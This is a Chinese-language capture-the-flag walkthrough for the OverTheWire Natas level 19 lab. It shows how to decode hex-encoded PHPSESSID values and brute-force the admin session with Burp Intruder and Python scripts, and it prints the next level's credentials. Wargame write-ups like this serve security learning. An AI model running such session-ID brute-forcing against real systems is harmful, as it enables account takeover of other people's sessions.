Natas19:
提示,与上一题源码类似,只是PHPSESSID不连续。随便输入username和password,抓包观察PHPSESSID,发现是输入的信息,按照id-username的格式,由ascill码转化为16进制,猜测正确PHPSESSID,应该是id-admin,用python构造字典,burp抓包后使用intruder模块,导入字典后进行暴力破解。
方法1:burp破解
1.抓包得到PHPSESSID=3436322d61646d696e
2.将PHPSESSID进行ASCII hex解码(ascill码转化为16进制),发现其值为id-username格式。可以多次抓包尝试,根据结果猜测正确PHPSESSID,应该是id-admin。
3.由于-admin对应的十六进制是2d61646d696e不变,因此我们只需要构造前面的id对应的十六进制即可。0-9十个十位数对应的十六进制为30-39,我们用python构造字典。
字典脚本(生成数字001-699的16进制):
a = [] for i in range(30,37): for j in range(30,40): for k in range(30,40): a.append( '%d%d%d'%(i,j,k)) with open ("1.txt","w") as f: for i in a: f.write(i+" ")
由于前100个id是0-99而不是000-099,我们使用notpad++手动将前100个id生成的16进制数前面的30去掉,得到最终的字典。
30 31 32 33 34 35 36 37 38 39 3130 3131 3132 3133 3134 3135 3136 3137 3138 3139 3230 3231 3232 3233 3234 3235 3236 3237 3238 3239 3330 3331 3332 3333 3334 3335 3336 3337 3338 3339 3430 3431 3432 3433 3434 3435 3436 3437 3438 3439 3530 3531 3532 3533 3534 3535 3536 3537 3538 3539 3630 3631 3632 3633 3634 3635 3636 3637 3638 3639 3730 3731 3732 3733 3734 3735 3736 3737 3738 3739 3830 3831 3832 3833 3834 3835 3836 3837 3838 3839 3930 3931 3932 3933 3934 3935 3936 3937 3938 3939 313030 313031 313032 313033 313034 313035 313036 313037 313038 313039 313130 313131 313132 313133 313134 313135 313136 313137 313138 313139 313230 313231 313232 313233 313234 313235 313236 313237 313238 313239 313330 313331 313332 313333 313334 313335 313336 313337 313338 313339 313430 313431 313432 313433 313434 313435 313436 313437 313438 313439 313530 313531 313532 313533 313534 313535 313536 313537 313538 313539 313630 313631 313632 313633 313634 313635 313636 313637 313638 313639 313730 313731 313732 313733 313734 313735 313736 313737 313738 313739 313830 313831 313832 313833 313834 313835 313836 313837 313838 313839 313930 313931 313932 313933 313934 313935 313936 313937 313938 313939 323030 323031 323032 323033 323034 323035 323036 323037 323038 323039 323130 323131 323132 323133 323134 323135 323136 323137 323138 323139 323230 323231 323232 323233 323234 323235 323236 323237 323238 323239 323330 323331 323332 323333 323334 323335 323336 323337 323338 323339 323430 323431 323432 323433 323434 323435 323436 323437 323438 323439 323530 323531 323532 323533 323534 323535 323536 323537 323538 323539 323630 323631 323632 323633 323634 323635 323636 323637 323638 323639 323730 323731 323732 323733 323734 323735 323736 323737 323738 323739 323830 323831 323832 323833 323834 323835 323836 323837 323838 323839 323930 323931 323932 323933 323934 323935 323936 323937 323938 323939 333030 333031 333032 333033 333034 333035 333036 333037 333038 333039 333130 333131 333132 333133 333134 333135 333136 333137 333138 333139 333230 333231 333232 333233 333234 333235 333236 333237 333238 333239 333330 333331 333332 333333 333334 333335 333336 333337 333338 333339 333430 333431 333432 333433 333434 333435 333436 333437 333438 333439 333530 333531 333532 333533 333534 333535 333536 333537 333538 333539 333630 333631 333632 333633 333634 333635 333636 333637 333638 333639 333730 333731 333732 333733 333734 333735 333736 333737 333738 333739 333830 333831 333832 333833 333834 333835 333836 333837 333838 333839 333930 333931 333932 333933 333934 333935 333936 333937 333938 333939 343030 343031 343032 343033 343034 343035 343036 343037 343038 343039 343130 343131 343132 343133 343134 343135 343136 343137 343138 343139 343230 343231 343232 343233 343234 343235 343236 343237 343238 343239 343330 343331 343332 343333 343334 343335 343336 343337 343338 343339 343430 343431 343432 343433 343434 343435 343436 343437 343438 343439 343530 343531 343532 343533 343534 343535 343536 343537 343538 343539 343630 343631 343632 343633 343634 343635 343636 343637 343638 343639 343730 343731 343732 343733 343734 343735 343736 343737 343738 343739 343830 343831 343832 343833 343834 343835 343836 343837 343838 343839 343930 343931 343932 343933 343934 343935 343936 343937 343938 343939 353030 353031 353032 353033 353034 353035 353036 353037 353038 353039 353130 353131 353132 353133 353134 353135 353136 353137 353138 353139 353230 353231 353232 353233 353234 353235 353236 353237 353238 353239 353330 353331 353332 353333 353334 353335 353336 353337 353338 353339 353430 353431 353432 353433 353434 353435 353436 353437 353438 353439 353530 353531 353532 353533 353534 353535 353536 353537 353538 353539 353630 353631 353632 353633 353634 353635 353636 353637 353638 353639 353730 353731 353732 353733 353734 353735 353736 353737 353738 353739 353830 353831 353832 353833 353834 353835 353836 353837 353838 353839 353930 353931 353932 353933 353934 353935 353936 353937 353938 353939 363030 363031 363032 363033 363034 363035 363036 363037 363038 363039 363130 363131 363132 363133 363134 363135 363136 363137 363138 363139 363230 363231 363232 363233 363234 363235 363236 363237 363238 363239 363330 363331 363332 363333 363334 363335 363336 363337 363338 363339 363430 363431 363432 363433 363434 363435 363436 363437 363438 363439 363530 363531 363532 363533 363534 363535 363536 363537 363538 363539 363630 363631 363632 363633 363634 363635 363636 363637 363638 363639 363730 363731 363732 363733 363734 363735 363736 363737 363738 363739 363830 363831 363832 363833 363834 363835 363836 363837 363838 363839 363930 363931 363932 363933 363934 363935 363936 363937 363938 363939
字典进阶:
上面生成字典的方法太麻烦了,下面脚本可以帮助我们直接生成PHPSESSID值的字典。
Python2.x脚本
# coding=utf-8 import binascii a = [] for i in range(641): k=binascii.hexlify(str(i))+"2d61646d696e" a.append(k) with open ("1.txt","w") as f: for i in a: f.write(i+" ") # python中,函数 hexlify 作用是返回的二进制数据的十六进制表示。 # 每个字节的数据转换成相应的 2 位十六进制表示。因此产生的字符串是原数据的两倍长度。 # unhexlify 则执行反向操作。
Python3.x脚本:
# coding=utf-8 import binascii a = [] for i in range(641): k=binascii.hexlify(bytes(str(i).encode()))+b"2d61646d696e" a.append(k.decode()) with open ("1.txt","w") as f: for i in a: f.write(i+" ")
关于Python2和Python3的字符编码与界解码问题,看这里。
4.下面使用burp开始爆破:
如上图,这个正确结果的length比较特别,既不是所有结果中最长的,也不是最短的,而是一个中间数。我是第一次遇到这种情况,害我找了半天。
另外,如果不想使用python生成脚本,可以直接使用burp的intruder模块中的Cluster bomb模式,将PHPSESSID值的前六位数做3个payload配置,进行爆破。
得到flag:
You are an admin. The credentials for the next level are:
Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
方法2:python破解
# coding=utf-8 import requests import binascii url = "http://natas19.natas.labs.overthewire.org/" payload = {"username":"admin","password":"123"} for i in range(640): headers = {"Cookie":"PHPSESSID="+binascii.hexlify(str(i))+"2d61646d696e","Authorization":"Basic bmF0YXMxOTo0SXdJcmVrY3VabEE5T3NqT2tvVXR3VTZsaG9rQ1BZcw=="} req = requests.post(url,params=payload,headers=headers) if "You are logged in as a regular user" in req.text: # print(i) #打印i,查看进度 continue else: print(i) print(req.text) exit()
flag:eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF
缺点:速度太慢了,可以考虑使用多线程
https://www.cnblogs.com/ichunqiu/p/9554885.html
https://www.cnblogs.com/liqiuhao/p/6859052.html